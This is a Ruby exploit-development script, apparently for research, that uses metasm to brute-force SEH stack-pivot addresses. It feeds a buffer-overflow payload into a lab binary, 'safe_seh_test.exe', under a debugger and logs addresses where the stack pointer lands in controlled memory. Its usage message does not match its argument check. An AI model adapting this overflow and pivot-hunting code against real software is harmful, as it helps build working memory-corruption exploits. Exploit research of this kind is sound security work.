#!/usr/bin/env ruby
# encoding: ascii
# By 0vercl0k
require 'metasm'
require 'pp'
include Metasm
# Extraced from mona.py by corelanc0d3r
def pattern_create(max)
char1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
char2 = 'abcdefghijklmnopqrstuvwxyz'
char3 = '0123456789'
charcnt = 0
pattern = ''
for ch1 in char1.each_char()
for ch2 in char2.each_char()
for ch3 in char3.each_char()
if charcnt < max
pattern += ch1
charcnt += 1
end
if charcnt < max
pattern += ch2
charcnt += 1
end
if charcnt < max
pattern += ch3
charcnt += 1
end
end
end
end
return pattern
end
def pattern_find(pattern, size)
s = pattern_create(size)
if (id = s.index([pattern].pack('I'))) != nil
return id
end
return nil
end
def main(args, argv)
if args != 2
print "Usage: ./#{$0} <addr_start> <addr_end> <payload>\n"
return -1
end
# Retrieve the entrypoint
exe = AutoExe.decode_file('safe_seh_test.exe')
ep = exe.optheader.entrypoint + exe.optheader.image_base
size = 512
start_addr = argv[0].to_i(16)
end_addr = argv[1].to_i(16)
offset = 100
eip_pwner = 0x72c611c1
while start_addr <= end_addr
input = 'A' * 532 + [eip_pwner].pack('I') + 'B' * offset + [start_addr].pack('I') + pattern_create(size)
print "%s RET@%#.8x (%d / %d) %s\n" % ["-"*8, start_addr, (start_addr - argv[0].to_i(16)), (argv[1].to_i(16) - argv[0].to_i(16)), "-"*8]
print "[*] Debugging the binary..\n"
dbg = OS.current.create_debugger('safe_seh_test.exe "' + input + '"')
# We don't want extra log
dbg.set_log_proc(lambda { |h| })
ep_reached = false
first_exception_passed = false
# Install our exception-probe
dbg.callback_exception = lambda { |h|
if h[:type] == 'access violation' and ep_reached == true
addr_exception = h[:st].ExceptionAddress || 0
mod = dbg.addr2module(addr_exception)
print "[*] Exception Address occurs in: %s (%#.8x)\n" % [ dbg.addrname!(addr_exception), addr_exception ]
# If an exception does not occured in any modules -> the seh handle pivoted somewhere (somewhere that maybe we control)
if first_exception_passed == true
dbg.kill()
else
first_exception_passed = true
dbg.pass_current_exception()
end
# In case of an unknown type of exception occurs, we kill the debuggee (privileged instruction for example)
else
# Be carreful, we use a soft bp to stop the execution to the entrypoint
if h[:type] != 'breakpoint'
dbg.kill()
end
end
}
print "[*] Now, I try to reach the entry_point (%#.8x)..\n" % ep
dbg.go(ep)
ep_reached = true
print "[*] Ok, entry point reached. Now passing all the exceptions to the debuggee..\n"
dbg.run_forever()
print "[*] Final fault at: %s - (ESP=%#.8x)\n" % [dbg.addrname!(dbg[:eip]), dbg[:esp]]
#0013FD58 41414141 AAAA
#[...]
#0013FFFC 37654136 6Ae7
if dbg[:esp] >= 0x13FD58 and dbg[:esp] <= 0x13FFFC
f = File.open("stack-pivot.txt", "ab")
f.puts("-"*16)
f.puts("[*]It seems I have found a stack-pivot at: %#.8x\n" % start_addr)
f.puts(input)
f.close()
print "[*]It seems I have found a stack-pivot at: %#.8x\n" % start_addr
end
start_addr += 1
end
return 0
end
if $0 == __FILE__
exit(main(ARGV.size(), ARGV))
end